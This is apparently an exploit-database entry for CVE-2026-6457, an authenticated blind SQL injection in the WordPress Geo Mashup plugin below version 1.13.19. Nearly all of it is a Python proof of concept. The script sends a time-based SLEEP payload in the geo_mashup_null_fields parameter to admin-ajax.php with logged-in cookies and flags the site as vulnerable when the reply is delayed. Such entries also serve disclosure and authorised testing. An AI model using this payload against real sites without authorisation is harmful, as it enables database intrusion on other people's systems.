CVE-2026-6457 WordPress Geo Mashup插件SQL注入漏洞

# Exploit Title: WordPress Geo Mashup Plugin < 1.13.19 - Blind SQL Injection (Authenticated) # Date: 2026-05-02 # CVE: CVE-2026-6457 # Vendor: cyberhobo import requests import time def check_sqli(url, cookies): # The vulnerable parameter is 'geo_mashup_null_fields' # We inject a time-based payload to test for vulnerability payload = { "geo_mashup_null_fields": "1' AND (SELECT SLEEP(5))-- -" } start_time = time.time() try: response = requests.post(url, data=payload, cookies=cookies, timeout=10) except requests.RequestException as e: print(f"Request failed: {e}") return False end_time = time.time() # If the response takes longer than 5 seconds, the sleep executed, indicating SQLi if end_time - start_time >= 5: print("[+] Vulnerable to Time-Based Blind SQL Injection!") return True else: print("[-] Not vulnerable or payload incorrect.") return False # Usage example # target_url = "http://example.com/wp-admin/admin-ajax.php" # user_cookies = {"wordpress_logged_in_xxx": "..."} # check_sqli(target_url, user_cookies)